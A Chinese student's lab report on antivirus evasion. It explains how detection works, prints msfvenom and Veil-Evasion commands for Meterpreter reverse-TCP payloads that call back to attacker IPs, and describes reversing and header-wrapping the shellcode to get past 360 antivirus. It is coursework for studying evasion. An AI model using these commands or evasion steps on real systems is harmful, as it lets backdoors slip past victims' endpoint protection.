20145314郑凯杰《网络对抗技术》实验3 免杀原理与实践

20145314郑凯杰《网络对抗技术》实验3 免杀原理与实践

1.0 实践内容

  1. 理解免杀技术原理
  2. 正确使用msf编码器veil-evasion,自己利用shellcode编程等免杀工具或技巧
  3. 通过组合应用各种技术实现恶意代码免杀
  4. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

1.1 基础问题回答

(1)杀软是如何检测出恶意代码的?

基于特征码的检测:基于特征码的检测也称为误用检测。杀毒软件通过构建自己庞大的特征库(由特征码构成的一个数据库),通过将特征码与可疑程序进行比对就可判断出软件是否有毒。

启发式恶意软件检测:是根据片面的判断,通过仿真运行程序,寻找可以的代码组合,如果可疑代码组号超过一定阈值,则认为是恶意程序。

基于行为的恶意软件检测:行为检测是利用病毒的特有行为特征性来检测病毒的方法,通过发现病毒的共同而特殊的行为,程序运行时对其进行监视,发现行为则报警。

(2)免杀是做什么?

逐字翻译为“逃避-反病毒”,翻译为“反杀毒技术”。顾名思义就是绕过杀毒软件攻击主机。

(3)免杀的基本方法有哪些?

  1. 改变特征码
  2. 改变行为
  3. 改变操作方式

2.0 理解免杀技术原理

2.1 恶意软件检测机制

  • 基于特征码的检测

    根据李冬冬老师的信安概论,基于特征码的检测也称为误用检测。杀毒软件通过构建自己庞大的特征库(由特征码构成的一个数据库),通过将特征码与可疑程序进行比对就可判断出软件是否有毒。

    但误用检测的最大缺陷在于需要维护庞大的特征码库,而且无法检测未知攻击。然而最近几年研究表明,基于特征码检测能被轻易绕过。另一方面,基于源码分析通常是静态检测,但商业软件或恶意代码往往并不提供源码。也是一个比较困难的地方

  • 启发式恶意软件检测

    根据老师给的实验参考书,上面的启发式的意思是根据片面的判断,实质上的做法便是:

    启发式方法是通过仿真运行程序,寻找可以的代码组合,如果可疑代码组号超过一定阈值,则认为是恶意程序。针对不同类型的病毒,需要用完全不同的规则来构建启发式分析器,误报率也很高。

  • 基于行为的恶意软件检测

    行为检测是利用病毒的特有行为特征性来检测病毒的方法,通过发现病毒的共同而特殊的行为,程序运行时对其进行监视,发现行为则报警。

2.2 免杀技术(Evading AV)

逐字翻译为“逃避-反病毒”,翻译为“反杀毒技术”。顾名思义就是绕过杀毒软件攻击主机。

根据2.1的说明,我们可以找到如下“免杀技术”

  • 改变特征码

    • 如果你手里只有EXE

      加壳:压缩壳 加密壳

    • 有shellcode(像Meterpreter)

      用encode进行编码
      基于payload重新编译生成可执行文件

    • 有源代码

      用其他语言进行重写再编译(veil-evasion)

  • 改变行为

    • 通讯方式

      尽量使用反弹式连接
      使用隧道技术
      加密通讯数据

    • 操作模式

      基于内存操作
      减少对系统的修改

  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

3.0 免杀效果实测

用常见的如msfvenomveil-evasion,backdoor-factory等病毒制作工具来制作免杀的病毒程序。

为了起到对比作用,首先在VirusTotalVirscan两个网站下进行后门文件"zkj5314backdoor"的判断。

由于VirusTotal的cookies出问题,所以无法使用。我们就用Virscan来进行结果输出。分析发现,病毒是:

  • TR/Crypt.EPACK.Gen2
  • win32.swrort.gan
  • trojan.generic

此均为后门病毒(特洛伊木马)的说法.

3.1 msfvenom直接生成meterpreter可执行文件并进行检测

msfvenom来进行shellcode的编写

用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=443 -f c

生成语言格式的Shellcode数组

将数组复制入程序并通过指针函数的形式编译成可执行文件

在win下执行成功:

用virscan为判断这个程序是否会被杀毒软件所判断

这里有一个重要的思考题:

  • (1)判断杀毒软件是根据调用数组这样的非常规操作,还是根据数组内容来识别出恶意代码的的。如果是调用数组这个操作有问题,我们就需要一个exe,所其中的代码段替换为shellcode;如果是数据内容实识别,那更简单些,我们自己对它加个密,动态解密

对于这个思考题,仔细分析其题干的话,就应该是两个选项:调用数组数组内容

我便想到了一个方法来对其进行判断:

若是数组内容可以引起判断的话,那么只要将数组内容写入一个不调用数组的.exe文件中,再对这个文件进行杀毒软件的判断,便可以知道究竟杀毒软件所采用的是哪一种方法。进一步,我们也可以知道采用哪种方法才可以实现免杀。

shellcode中复制出来的代码放入未引用该数组的可执行文件中,进行判断。发现,杀软可以判断出其中的恶意代码。就是说明,杀毒软件会通过判断数组内容来判别这个程序是否为“带毒”程序,从而也就选择了“数组内容”的这一方式。

在接下来的实践中,就可以利用隐藏数组的方式来进行免杀的实现。

3.2 使用免杀平台Veil-Evasion

由于老师的kali中已经安装了Veil-Evasion,所以直接在命令行输入veil-evasion就可以进入平台

完成配置

use python/meterpreter/rev_tcp
set LHOST 10.10.10.130
generate
winmine
1

重新返回menu,只是生成的可执行文件名称为5314.exe

将这个文件提交至virscan进行判断,发现其已经做到了很大程度上的免杀了,virscan给出的结果是可能是病毒文件,还是可以运行与回连的。

看来veil-evasion虽然只是改变了编码语言,不过这个效果还真的很厉害

3.3 半手工制作shellcode


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=5214 -f c > 5314_c.c生成一个shellcode数组,写入名为.c的文件里

接下来对这个有用的数组进行操作:最简单的就是对shellcode数组进行处理,并写好相应的解码函数放在我们的程序中,当程序执行时,先解码,再调用,这样就能在一定程度上骗过杀毒软件,且编码函数是我们自己编写的,特征库中应该是不存在的。

  • 3.3.1 普通逆序编写

直接将上一步输出的数组复制到win下,编写一个简单程序,将该数组逆序存储再输出到.txt文件中并保存。

接下来直接套用老师给的模版函数,用逆序的方法(解码)调用我们先前存储的逆序数组

代码就省略了,结果成功完成回连:

在360下完成回连,但是在进行接下来的视频等操作时,360跳出来查杀我的exe文件,短暂的成功最终还是干不过360。

  • 3.3.2 结合以上思考题的编写

前面的思考题我们得出了结论:

杀毒软件会通过判断数组内容来判别这个程序是否为“带毒”程序,从而也就选择了“`数组内容`”的这一方式。

因此,接下来我将数组封装成"5314.h"文件(查杀该文件时报毒率为0%)

#ifndef  __A_H_
#define __A_H_
#include<stdio.h> 
char met[] =
数组内容
#endif

并编写一个调用该库的exe文件,完成回连:

实验成功:

可以进行各种操作,也绕过了360的查杀

直接用360去杀我含有"5314.h"文件和其可执行文件的目录,发现360这货根本查不出来。

实验成功。

实验总结与体会

本次实验,从性质来看,是上一次实验的下一步:实现网络攻击,首先需要上次实验那样的连接到另一台电脑,并向其发送文件。(用ncat实现Linux与Win互连,生成backdoor可执行程序反弹连接)。然而很重要的一步就是绕过杀毒软件再进行攻击,实现这个,我们才可以真正的实现网络攻击。

这次实验的思路也十分重要,老师给的思路是:

找出杀毒软件的杀毒特征,再对症下药进行修改。

而进一步,我从老师的思考题中获得新思路:杀软主要对调用的数组调用函数这两个方面进行查杀。经过我的简单实验,确定了数组为主要问题,但是在3.3.1的半手工shellcode中,360软件照样杀出来了。

于是进一步,不仅对数组进行操作,更需要对调用函数也进行隐藏。我采用封装为.h文件的方式,杀软就更杀不出来了。实现了实验的成功。

原文地址:https://www.cnblogs.com/5314zkj/p/6617253.html